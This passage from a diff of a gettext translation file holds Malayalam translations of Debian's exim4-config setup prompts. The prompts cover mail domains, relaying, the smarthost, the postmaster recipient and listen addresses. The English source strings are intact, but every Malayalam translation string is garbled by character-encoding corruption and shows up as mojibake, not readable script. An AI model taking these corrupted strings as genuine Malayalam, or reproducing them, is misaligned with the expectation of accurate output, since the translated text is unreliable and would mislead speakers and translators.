+"à´ˆ പേരàµàµ മറàµà´±àµ à´ªàµà´°àµ‹à´—àµà´°à´¾à´®àµà´•à´³àµà´‚ ഉപയോഗിയàµà´•àµà´•àµà´¨àµà´¨à´¤à´¾à´¯à´¿à´°à´¿à´¯àµà´•àµà´•àµà´‚. ഇതàµàµ à´’à´±àµà´±, à´®àµà´´àµà´µà´¨àµâ€ ഡൊമൈനàµâ€ നാമമായിരികàµà´•à´£à´‚ "
+"(FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"ഉദാഹരണതàµà´¤à´¿à´¨àµàµ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഹോസàµà´±àµà´±à´¿à´²àµà´³àµà´³ ഒരൠതപാലàµâ€ വിലാസം foo@example.org à´Žà´¨àµà´¨à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ à´ˆ "
+"à´à´šàµà´›à´¿à´•à´¤àµà´¤à´¿à´¨àµà´³àµà´³ ശരിയായ വില example.org à´Žà´¨àµà´¨à´¾à´¯à´¿à´°à´¿à´¯àµà´•àµà´•àµà´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"റീറൈറàµà´±à´¿à´™àµà´™àµ à´ªàµà´°à´¾à´µà´°àµâ€à´¤àµà´¤à´¿à´•à´®à´¾à´•àµà´•àµà´•à´¯à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ à´ªàµà´±à´¤àµà´¤àµ പോകàµà´¨àµà´¨ à´•à´¤àµà´¤àµà´•à´³à´¿à´²àµ† à´«àµà´°à´‚: വരികളിലàµâ€ à´ˆ പേരàµàµ "
+"വരിലàµà´²."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "തപാലàµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨ മറàµà´±àµ ലകàµà´·àµà´¯à´¸àµà´¥à´¾à´¨à´™àµà´™à´³àµâ€:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"ദയവായി à´ˆ മഷീനàµâ€ അവസാന ലകàµà´·àµà´¯à´¸àµà´¥à´¾à´¨à´®à´¾à´¯à´¿ à´¸àµà´µà´¯à´‚ കണകàµà´•à´¾à´•àµà´•àµ‡à´£àµà´Ÿ ലകàµà´·àµà´¯ ഡൊമൈനàµà´•à´³àµà´Ÿàµ† സെമികോളനàµâ€ "
+"കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´šàµà´š പടàµà´Ÿà´¿à´• നലàµà´•àµà´•. à´ˆ ഡൊമൈനàµà´•à´³àµâ€ സാധാരണയായി \"local domains\" à´Žà´¨àµà´¨àµàµ "
+"വിളിയàµà´•àµà´•à´ªàµà´ªàµ†à´Ÿàµà´¨àµà´¨àµ. à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഹോസàµà´±àµà´±àµ നാമങàµà´™à´³à´¾à´¯ (${fqdn}) ഉം \"localhost\" ഉം ഇവിടെ "
+"നലàµâ€à´•à´¿à´¯ പടàµà´Ÿà´¿à´•à´¯à´¿à´²àµâ€ à´Žà´ªàµà´ªàµ‹à´´àµà´‚ ചേരàµâ€à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´¯à´¿à´°à´¿à´¯àµà´•àµà´•àµà´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"സഹജമായി à´Žà´²àµà´²à´¾ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഡൊമൈനàµà´•à´³àµà´‚ ഒരൠപോലെ കണകàµà´•à´¾à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´¯à´¿à´°à´¿à´•àµà´•àµà´‚. a.example ഉം b."
+"example ഉം à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഡൊമൈനàµà´•à´³à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ acc@a.example ഉം acc@b.example ഉം ഒരേ "
+"ലകàµà´·àµà´¯à´¸àµà´¥à´¾à´¨à´¤àµà´¤àµ†à´¤àµà´¤à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´¯à´¿à´°à´¿à´•àµà´•àµà´‚. à´µàµà´¯à´¤àµà´¯à´¸àµà´¤ ഡൊമൈനàµâ€ നാമങàµà´™à´³àµâ€ à´µàµà´¯à´¤àµà´¯à´¸àµà´¤à´®à´¾à´¯à´¿ കണകàµà´•à´¾à´•àµà´•à´£à´®àµ†à´™àµà´•à´¿à´²àµâ€ "
+"പിനàµà´¨àµ€à´Ÿàµ à´•àµà´°à´®àµ€à´•à´°à´£ ഫയലàµà´•à´³à´¿à´²àµâ€ മാറàµà´±à´‚ വരàµà´¤àµà´¤àµ‡à´£àµà´Ÿà´¤àµà´£àµà´Ÿàµàµ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "à´•à´¤àµà´¤àµà´•à´³àµâ€ റിലേ ചെയàµà´¯àµ‡à´£àµà´Ÿ ഡൊമൈനàµà´•à´³àµâ€:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"ദയവായി à´ˆ സിസàµà´±àµà´±à´‚ à´•à´¤àµà´¤àµà´•à´³àµâ€ റിലേ ചെയàµà´¯àµ‡à´£àµà´Ÿ ലകàµà´·àµà´¯ ഡൊമൈനàµà´•à´³àµà´Ÿàµ†, ഉദാഹരണതàµà´¤à´¿à´¨àµàµ ഒരൠഫാളàµâ€à´¬à´¾à´•àµà´•àµ "
+"à´Žà´‚à´Žà´•àµà´¸àµ à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ തപാലàµâ€ ഗേയàµà´±àµà´±àµà´µàµ‡, സെമികോളനàµâ€ കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´šàµà´š പടàµà´Ÿà´¿à´• നലàµà´•àµà´•. ഇതിനരàµâ€à´¤àµà´¥à´‚ à´ˆ "
+"സിസàµà´±àµà´±à´‚ à´ˆ ഡൊമൈനàµà´•à´³à´¿à´²àµ‡à´•àµà´•àµà´³àµà´³ à´•à´¤àµà´¤àµà´•à´³àµâ€ ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±à´¿à´²àµ†à´µà´¿à´Ÿàµ† നിനàµà´¨àµà´‚ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´•à´¯àµà´‚ "
+"à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯àµà´³àµà´³ à´Žà´¤àµà´¤à´¿à´•àµà´•àµ‡à´£àµà´Ÿ നിയമങàµà´™à´³àµâ€à´•àµà´•à´¨àµà´¸à´°à´¿à´šàµà´šàµàµ à´…à´µ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•àµà´•à´¯àµà´‚ ചെയàµà´¯àµà´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഡൊമൈനàµà´•à´³àµâ€ ഇവിടെ à´ªàµà´°à´¸àµà´¤à´¾à´ªà´¿à´•àµà´•à´°àµà´¤àµàµ. വൈലàµâ€à´¡àµà´•à´¾à´°àµâ€à´¡àµà´•à´³àµâ€ വേണമെങàµà´•à´¿à´²àµà´ªà´¯àµ‹à´—à´¿à´•àµà´•à´¾à´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "à´•à´¤àµà´¤àµà´•à´³àµâ€ റിലേ ചെയàµà´¯àµ‡à´£àµà´Ÿ മഷീനàµà´•à´³àµâ€:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¾à´¯à´¿ à´ªàµà´°à´µà´°àµâ€à´¤àµà´¤à´¿à´šàµà´šàµà´•àµŠà´£àµà´Ÿàµàµ നിയനàµà´¤àµà´°à´£à´®à´¿à´²àµà´²à´¾à´¤àµ† à´•à´¤àµà´¤àµà´•à´³àµâ€ റിലേ ചെയàµà´¯àµ‡à´£àµà´Ÿ à´à´ªà´¿ വിലാസ "
+"പരിധികളàµâ€ ദയവായി സെമികോളനàµâ€ കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´šàµà´š പടàµà´Ÿà´¿à´•à´¯à´¾à´¯à´¿ നലàµà´•àµà´•."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"നിങàµà´™à´³àµâ€ à´¸àµà´±àµà´±à´¾à´¨àµâ€à´¡àµ‡à´°àµâ€à´¡àµ വിലാസം/à´ªàµà´°à´¿à´«à´¿à´•àµà´¸àµ ഫോരàµâ€à´®à´¾à´±àµà´±àµ (ഉദാ.194.222.242.0/24 à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ "
+"5f03:1200:836f::/48) ഉപയോഗിയàµà´•àµà´•à´£à´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "à´ˆ സിസàµà´±àµà´±à´‚ മറàµà´±àµŠà´°àµ സിസàµà´±àµà´±à´¤àµà´¤à´¿à´¨àµà´‚ à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¾à´•àµ‡à´£àµà´Ÿà´¤à´¿à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ à´ˆ കളം വെറàµà´¤àµ†à´¯à´¿à´Ÿàµà´•."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഉപയോകàµà´¤à´¾à´•àµà´•à´³àµâ€à´•àµà´•àµàµ കാണാവàµà´¨àµà´¨ ഡൊമൈനàµâ€ നാമം:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"à´ªàµà´±à´¤àµà´¤àµà´ªàµ‹à´•àµà´¨àµà´¨ à´•à´¤àµà´¤àµà´•à´³à´¿à´²àµâ€ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• തപാലàµâ€ നാമം മറചàµà´šàµà´µàµ†à´¯àµà´•à´¾à´¨àµà´³àµà´³ à´à´šàµà´›à´¿à´•à´‚ "
+"à´ªàµà´°à´¾à´µà´°àµâ€à´¤àµà´¤à´¿à´•à´®à´¾à´•àµà´•à´¿à´¯à´¿à´Ÿàµà´Ÿàµà´£àµà´Ÿàµàµ. à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഉപയോകàµà´¤à´¾à´•àµà´•à´³àµà´Ÿàµ† അയകàµà´•àµà´¨àµà´¨ ആളàµà´Ÿàµ† വിലാസങàµà´™à´³à´¿à´²àµ† ഡൊമൈനàµâ€ "
+"ഭാഗതàµà´¤à´¿à´²àµà´ªà´¯àµ‹à´—à´¿à´•àµà´•à´¾à´¨à´¾à´¯à´¿ ഒരൠഡൊമൈനàµâ€ നാമം നലàµà´•àµ‡à´£àµà´Ÿà´¤àµàµ à´…à´¤àµà´¯à´¾à´µà´¶àµà´¯à´®à´¾à´£àµàµ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "à´ªàµà´±à´¤àµà´¤àµà´ªàµ‹à´•àµà´¨àµà´¨ à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¿à´¨àµà´±àµ† à´à´ªà´¿ വിലാസം à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ ഹോസàµà´±àµà´±àµ നാമം:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"ദയവായി à´ˆ സിസàµà´±àµà´±à´‚ à´ªàµà´±à´¤àµà´¤àµ പോകàµà´¨àµà´¨ à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¾à´¯à´¿ ഉപയോഗികàµà´•àµ‡à´£àµà´Ÿ തപാലàµâ€ സേവകനàµà´±àµ† ഹോസàµà´±àµà´±àµ "
+"നാമമോ à´à´ªà´¿ വിലാസമോ നലàµà´•àµà´•. à´† à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±àµ നിങàµà´™à´³àµà´Ÿàµ† à´•à´¤àµà´¤àµàµ ടിസിപി/25 à´²àµâ€ നിനàµà´¨àµà´‚ "
+"à´µàµà´¯à´¤àµà´¯à´¸àµà´¤à´®à´¾à´¯ ഒരൠപോരàµâ€à´Ÿàµà´Ÿà´¿à´²àµâ€ മാതàµà´°à´®àµ‡ à´¸àµà´µàµ€à´•à´°à´¿à´•àµà´•àµ‚ à´Žà´™àµà´•à´¿à´²àµâ€ അവസാനം à´°à´£àµà´Ÿàµàµ കോളനàµàµ ശേഷം പോരàµâ€à´Ÿàµà´Ÿàµ സംഖàµà´¯ "
+"ചേരàµâ€à´•àµà´•àµà´• (ഉദാഹരണതàµà´¤à´¿à´¨àµàµ smarthost.example::587 à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ 192.168.254.254::2525)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¿à´¨àµàµ തിരിചàµà´šà´±à´¿à´¯à´²àµâ€ ആവശàµà´¯à´®à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ /usr/share/doc/exim4-base/README."
+"Debian.gz പരിശോധിചàµà´šàµàµ à´Žà´¸àµâ€‹à´Žà´‚ടിപിയിലെ തിരിചàµà´šà´±à´¿à´¯à´²àµâ€ à´’à´°àµà´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨àµ† à´•àµà´±à´¿à´šàµà´šàµà´³àµà´³ à´•àµà´±à´¿à´ªàµà´ªàµà´•à´³àµâ€ നോകàµà´•àµà´•."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "റൂടàµà´Ÿàµà´‚ പോസàµà´±àµà´±àµà´®à´¾à´¸àµà´±àµà´±à´°àµâ€ à´•à´¤àµà´¤àµà´•à´³àµà´‚ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨à´¯à´¾à´³àµâ€:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"\"postmaster\", \"root\" à´¤àµà´Ÿà´™àµà´™à´¿à´¯ സിസàµà´±àµà´±à´‚ à´…à´•àµà´•àµŒà´£àµà´Ÿà´¿à´²àµ‡à´•àµà´•àµà´³àµà´³ à´•à´¤àµà´¤àµà´•à´³àµâ€ യഥാരàµâ€à´¤àµà´¥ സിസàµà´±àµà´±à´‚ "
+"ഭരണാധികാരിയായ ഉപയോകàµà´¤à´¾à´µà´¿à´¨àµà´±àµ† à´…à´•àµà´•àµŒà´£àµà´Ÿà´¿à´²àµ‡à´¯àµà´•àµà´•àµàµ തിരിചàµà´šàµàµ വിടേണàµà´Ÿà´¤àµà´£àµà´Ÿàµàµ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"à´ˆ വില നലàµà´•à´¾à´¤àµ† വിടàµà´Ÿà´¾à´²àµâ€ à´…à´™àµà´™à´¨àµ†à´¯àµà´³àµà´³ à´•à´¤àµà´¤àµà´•à´³àµâ€ /var/mail/mail à´²àµâ€ സൂകàµà´·à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´£àµàµ, à´…à´¤àµàµ à´¶àµà´ªà´¾à´°àµâ€à´¶ "
+"ചെയàµà´¤à´¿à´Ÿàµà´Ÿàµà´³àµà´³à´¤à´²àµà´²."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"പോസàµà´±àµà´±àµà´®à´¾à´¸àµà´±àµà´±à´±àµà´Ÿàµ† à´•à´¤àµà´¤àµàµ മറàµà´±àµ‡à´¤àµ†à´™àµà´•à´¿à´²àµà´®à´¿à´Ÿà´¤àµà´¤àµ‡à´¯àµà´•àµà´•àµàµ മാറി അയയàµà´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨àµàµ പകരം à´à´¤àµàµ "
+"സിസàµà´±àµà´±à´¤àµà´¤à´¿à´²àµ‡à´•àµà´•à´¾à´£àµ‹ à´…à´¤àµàµ ഉദàµà´§àµ‡à´¶à´¿à´šàµà´šà´¤àµàµ à´† സിസàµà´±àµà´±à´¤àµà´¤à´¿à´²àµâ€ വചàµà´šàµàµ തനàµà´¨àµ† വായികàµà´•à´£à´‚, അതൠകൊണàµà´Ÿàµ തനàµà´¨àµ† à´ˆ "
+"പടàµà´Ÿà´¿à´•à´¯à´¿à´²àµà´³àµà´³ (à´’à´°àµ) ഉപയോകàµà´¤à´¾à´µàµ†à´™àµà´•à´¿à´²àµà´‚ à´ˆ മഷീനിലàµâ€ നിനàµà´¨àµà´‚ അവരàµà´Ÿàµ† à´•à´¤àµà´¤àµàµ മാറി അയകàµà´•à´°àµà´¤àµàµ. ഒരൠ"
+"\"real-\" à´Žà´¨àµà´¨àµàµ à´®àµà´¨àµà´¨à´¿à´²àµâ€ ചേരàµâ€à´¤àµà´¤àµàµ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ à´Žà´¤àµà´¤à´¿à´•àµà´•à´¾à´¨àµâ€ നിരàµâ€à´¬à´¨àµà´§à´¿à´¯àµà´•àµà´•à´¾à´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "à´’à´¨àµà´¨à´¿à´²à´§à´¿à´•à´®àµà´³àµà´³ ഉപയോകàµà´¤à´¾à´•àµà´•à´³àµà´Ÿàµ† പേരàµà´•à´³àµâ€ à´¸àµà´ªàµ‡à´¯àµà´¸àµ കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´¯àµà´•àµà´•à´£à´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "à´…à´•à´¤àµà´¤àµ‹à´Ÿàµà´Ÿàµàµ വരàµà´¨àµà´¨ à´Žà´¸àµâ€‹à´Žà´‚ടിപി ബനàµà´§à´™àµà´™à´³àµâ€à´•àµà´•à´¾à´¯à´¿ à´¶àµà´°à´¦àµà´§à´¿à´•àµà´•àµ‡à´£àµà´Ÿ à´à´ªà´¿-വിലാസങàµà´™à´³àµâ€:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"ദയവായി സെമികോളനàµâ€ കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´šàµà´š à´à´ªà´¿ വിലാസങàµà´™à´³àµà´Ÿàµ† പടàµà´Ÿà´¿à´• നലàµà´•àµà´•. à´Žà´•àµà´¸à´¿à´®à´¿à´¨àµà´±àµ† à´Žà´¸àµâ€‹à´Žà´‚ടിപി "
+"à´¶àµà´°à´¦àµà´§à´¿à´•àµà´•àµà´¨àµà´¨ നിരനàµà´¤à´°à´ªàµà´°à´µàµƒà´¤àµà´¤à´¿ à´ˆ പടàµà´Ÿà´¿à´•à´¯à´¿à´²àµà´³àµà´³ à´Žà´²àµà´²à´¾ à´à´ªà´¿ വിലാസങàµà´™à´³àµâ€à´•àµà´•àµàµ വേണàµà´Ÿà´¿à´¯àµà´‚ à´¶àµà´°à´¦àµà´§à´¿à´•àµà´•àµà´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"ഒരൠശൂനàµà´¯ വില à´Žà´²àµà´²à´¾ ലഭàµà´¯à´®à´¾à´¯à´¿à´Ÿàµà´Ÿàµà´³àµà´³ ശൃംഖലയിലേയàµà´•àµà´•àµà´³àµà´³ വിനിമയതലങàµà´™à´³à´¿à´²àµà´‚ ബനàµà´§à´™àµà´™à´³àµâ€à´•àµà´•à´¾à´¯à´¿ "
+"à´¶àµà´°à´¦àµà´§à´¿à´•àµà´•à´¾à´¨àµâ€ കാരണമാകàµà´•àµà´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"à´ˆ സിസàµà´±àµà´±à´‚ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• സേവനങàµà´™à´³à´¿à´²àµâ€ നിനàµà´¨àµà´‚ നേരിടàµà´Ÿàµàµ മാതàµà´°à´®àµ‡ (à´…à´²àµà´²à´¾à´¤àµ† മറàµà´±àµà´³àµà´³ ഹോസàµà´±àµà´±àµà´•à´³à´¿à´²àµâ€ "
+"നിനàµà´¨àµà´®à´²àµà´²) à´•à´¤àµà´¤àµà´•à´³àµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨àµà´³àµà´³àµà´µàµ†à´™àµà´•à´¿à´²àµâ€ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• à´Žà´•àµà´¸à´¿à´‚ നിരനàµà´¤à´°à´ªàµà´°à´µàµƒà´¤àµà´¤à´¿à´¯à´¿à´²àµ‡à´¯àµà´•àµà´•àµà´³àµà´³ à´ªàµà´±à´®àµ‡ "
+"നിനàµà´¨àµà´³àµà´³ ബനàµà´§à´™àµà´™à´³àµâ€ നിരോധിയàµà´•àµà´•à´¾à´¨àµâ€ à´¶àµà´ªà´¾à´°àµâ€à´¶ ചെയàµà´¯àµà´¨àµà´¨àµ. à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´¹àµ‹à´¸àµà´±àµà´±àµà´®à´¾à´¯à´¿ മാതàµà´°à´‚ സംസാരിയàµà´•àµà´•àµà´¨àµà´¨ "
+"ഇമെയിലàµâ€ à´ªàµà´°àµ‹à´—àµà´°à´¾à´®àµà´•à´³àµà´‚ (à´Žà´‚à´¯àµà´Žà´•à´³àµâ€) ഫെചàµà´šàµà´®àµ†à´¯à´¿à´²àµà´‚ à´…à´™àµà´™à´¨àµ†à´¯àµà´³àµà´³ à´ªàµà´°àµ‹à´—àµà´°à´¾à´®àµà´•à´³à´¿à´²àµâ€ പെടàµà´¨àµà´¨àµ. 127.0.0.1 "
+"à´Žà´¨àµà´¨àµàµ ഇവിടെ നലàµà´•àµà´•à´¯à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ ഇതàµàµ à´ªàµà´±à´¤àµà´¤àµ‡à´¯àµà´•àµà´•àµà´³àµà´³ ശൃംഖലയàµà´Ÿàµ† വിനിമയതലങàµà´™à´³à´¿à´²àµâ€ à´¶àµà´°à´¦àµà´§à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨à´¤àµàµ "
+"à´ªàµà´°à´¾à´µà´°àµâ€à´¤àµà´¤à´¿à´•à´®à´²àµà´²à´¾à´¤à´¾à´•àµà´•à´¿ à´ªàµà´±à´®àµ‡ നിനàµà´¨àµà´³àµà´³ ബനàµà´§à´™àµà´™à´³àµâ€ അസാധàµà´¯à´®à´¾à´•àµà´•àµà´‚."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "à´¡à´¿à´Žà´¨àµâ€à´Žà´¸àµ-à´…à´¨àµà´µàµ‡à´·à´£à´™àµà´™à´³àµà´Ÿàµ† à´Žà´£àµà´£à´‚ à´•àµà´±à´¯àµà´•àµà´•à´£àµ‹ (ഡയലàµâ€-à´“à´£àµâ€-ഡിമാനàµâ€à´¡àµ)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"സാധാരണ മോഡിലàµà´³àµà´³ à´ªàµà´°à´µà´°àµâ€à´¤àµà´¤à´¨à´¤àµà´¤à´¿à´²àµâ€ à´Žà´•àµà´²à´¿à´‚ à´¤àµà´Ÿà´™àµà´™àµà´®àµà´ªàµ‹à´´àµà´‚ സനàµà´¦àµ‡à´¶à´™àµà´™à´³àµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´šàµà´šàµàµ കൊണàµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´•à´¯àµ‹ "
+"à´Žà´¤àµà´¤à´¿à´šàµà´šàµ കൊണàµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´•à´¯àµ‹ ചെയàµà´¯àµà´®àµà´ªàµ‹à´´àµà´‚ à´¡à´¿à´Žà´¨àµâ€à´Žà´¸à´¿à´²àµâ€ നോകàµà´•àµà´‚. ഇതàµàµ ലോഗിങàµà´™àµ ആവശàµà´¯à´™àµà´™à´³àµâ€à´•àµà´•àµàµ വേണàµà´Ÿà´¿à´¯àµà´‚ "
+"à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤à´¿à´²àµâ€ ഹാരàµâ€à´¡àµ കോഡൠചെയàµà´¤à´¿à´Ÿàµà´Ÿàµà´³àµà´³ വിലകളàµà´Ÿàµ† à´Žà´£àµà´£à´‚ à´•àµà´±à´¯àµà´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨àµà´®à´¾à´£àµàµ."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"à´ˆ സിസàµà´±àµà´±à´¤àµà´¤à´¿à´¨àµàµ ഒരൠഡിഎനàµâ€à´Žà´¸àµ à´«àµà´³àµâ€ സരàµâ€à´µàµ€à´¸àµ റിസോളàµâ€à´µà´°àµâ€ à´Žà´²àµà´²à´¾ സമതàµà´¤àµà´‚ ലഭàµà´¯à´®à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ (ഉദാഹരണതàµà´¤à´¿à´¨àµàµ "
+"അതിനàµà´±àµ† ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±àµ സമീപനം ഡയലàµâ€-à´“à´£àµ-ഡിമാനàµâ€à´¡àµ ഉപയോഗികàµà´•àµà´¨àµà´¨ ഡയലàµâ€-അപൠആണെങàµà´•à´¿à´²àµâ€) ഇതàµàµ "
